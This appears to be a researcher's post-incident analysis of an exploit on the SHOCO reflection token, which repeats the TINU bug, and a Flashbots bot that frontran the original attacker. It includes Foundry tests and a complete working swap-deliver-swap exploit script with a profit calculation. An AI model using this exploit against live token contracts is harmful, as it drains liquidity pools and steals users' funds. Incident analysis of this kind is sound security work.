Skip to content

230119-SHICO

Analyzing the TINU attack incident, it was found that the attacker also attempted a similar attack vector against the SHOCO token, but was frontrun. Below is a brief analysis of this attack.

AttackTx

A simple analysis of the bot's AttackTx and the original attackContract reveals that this attack is similar to TINU, except the attacker used a more complex skim->deliver call chain.

It is worth mentioning that the original attacker did not use Flashbots' privacy service to send the attack, and the code only verified msg.sender, which made the transaction initiated vulnerable to frontrunning.

The bot, however, used Flashbots to initiate the transaction, bribing the Builder with 0.09 Ether and ultimately profiting approximately 4.067 Ether.

After the attack, rTotal decreased, and tFeeTotal increased, indicating that the vulnerability should be consistent with TINU.

Vulnerability

Test SHOCO using the following code.

function testExcludePair() external {
    uint attackBlockNumber = 16440978;
    vm.rollFork(attackBlockNumber);
    console2.log("exclude pair?", shoco.isExcluded(address(shoco_weth)));
    // false
}

function testCondition() external {
    uint attackBlockNumber = 16440978;
    vm.rollFork(attackBlockNumber);

    uint256 rTotal = uint256(vm.load(address(shoco), bytes32(uint256(14))));
    uint256 rExcluded = getMappingValue(address(shoco), 3, address(0xCb23667bb22D8c16e742d3Cce6CD01642bAaCc1a));
    uint256 tExcluded = getMappingValue(address(shoco), 4, address(0xCb23667bb22D8c16e742d3Cce6CD01642bAaCc1a));
    uint256 rPair = getMappingValue(address(shoco), 3, address(shoco_weth));

    emit log_named_uint("SHOCO rTotal", rTotal);       // 92755547632244760386804193176548296809462337522816469006214886422157380388136
    emit log_named_uint("SHOCO rExcluded", rExcluded);  // 8156838275115295013986843616955720757118132673218460444629959325168666253906
    emit log_named_uint("SHOCO tExcluded", tExcluded);  // 87404117343064238256026
    emit log_named_uint("Pair rOwned", rPair); // 92466134384845745906067152367297685498563381326034118259801712787064725855887
    console2.log("rPair > rSupply?", rPair > rTotal-rExcluded); // true
}

It can be observed that it is identical to the vulnerability in TINU, i.e., failure to exclude the pair and increasing rOwned out of thin air, meeting the conditions for attack. Code comparison also verifies that SHOCO's code follows the same logic as TINU.

Exploit

Therefore, a similar script can be directly used to launch the attack.

function testExploit() external {
    uint attackBlockNumber = 16440978;
    vm.rollFork(attackBlockNumber);
    emit log_named_decimal_uint("WETH balance", weth.balanceOf(address(shoco_weth)), weth.decimals());
    deal(address(weth), address(this), 2000 ether);

    uint256 rTotal = uint256(vm.load(address(shoco), bytes32(uint256(14))));
    uint256 rExcluded = getMappingValue(address(shoco), 3, address(0xCb23667bb22D8c16e742d3Cce6CD01642bAaCc1a));
    uint256 rAmountOut = rTotal-rExcluded;
    uint256 shocoAmountOut = shoco.tokenFromReflection(rAmountOut) - 0.1*10**9;

    (uint reserve0, uint reserve1, ) = shoco_weth.getReserves();
    uint256 wethAmountIn = getAmountIn(shocoAmountOut, reserve1, reserve0);
    emit log_named_decimal_uint("WETH amountIn", wethAmountIn, weth.decimals());
    weth.transfer(address(shoco_weth), wethAmountIn);

    shoco_weth.swap(
        shocoAmountOut,
        0, 
        address(this),
        ""
    );

    shoco.deliver(shoco.balanceOf(address(this))*99999/100000);

    (reserve0, reserve1, ) = shoco_weth.getReserves();
    uint256 wethAmountOut = getAmountOut(shoco.balanceOf(address(shoco_weth))-reserve0, reserve0, reserve1);
    shoco_weth.swap(0, wethAmountOut, address(this), "");
    if (wethAmountIn < wethAmountOut) {
        emit log_named_decimal_uint("Attack profit:", wethAmountOut - wethAmountIn, weth.decimals());
    } else {
        emit log_named_decimal_uint("Attack loss:", wethAmountIn - wethAmountOut, weth.decimals());
    }
}

function testSwap() external {
    uint attackBlockNumber = 16440978;
    vm.rollFork(attackBlockNumber);
    uint256 rTotal = uint256(vm.load(address(shoco), bytes32(uint256(14))));
    uint256 rExcluded = getMappingValue(address(shoco), 3, address(0xCb23667bb22D8c16e742d3Cce6CD01642bAaCc1a));
    uint256 shocoDeliver = shoco.tokenFromReflection(rTotal-rExcluded)-0.1*10**9;

    // uint256 amountOut = 1 ether;
    uint256 amountOut = 4.3 ether;
    shoco_weth.swap(shocoDeliver, amountOut, address(this), "1");
    emit log_named_decimal_uint("WETH balance", weth.balanceOf(address(this)), weth.decimals());
}

function uniswapV2Call(address /*sender*/, uint /*amount0*/, uint /*amount1*/, bytes calldata /*data*/) external {
    shoco.deliver(shoco.balanceOf(address(this))*99999/100000);
}

The only difference is that burning all tokens obtained from swap here would cause the pair's balance to be too large, leading to an error in the final _update: require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');. Hence, they cannot all be used for deliver. The final profit is approximately 4.3 Ether.

The complex call chain in the original attack may have been obtained through testing, which is not discussed here.

Misc

Obviously, the actual profit of 4.3 Ether is slightly more than the original attack's approximately 4.16 Ether. Therefore, upon further examination of the SHOCO token, it was found that someone related to the Nomad Bridge attack, launched another attack against it a month later.

Furthermore, it can be observed that the attackContract used was deployed by another address 0x961c, and since its contract had no protection measures, it was directly used by 0x1dbd to complete frontrun.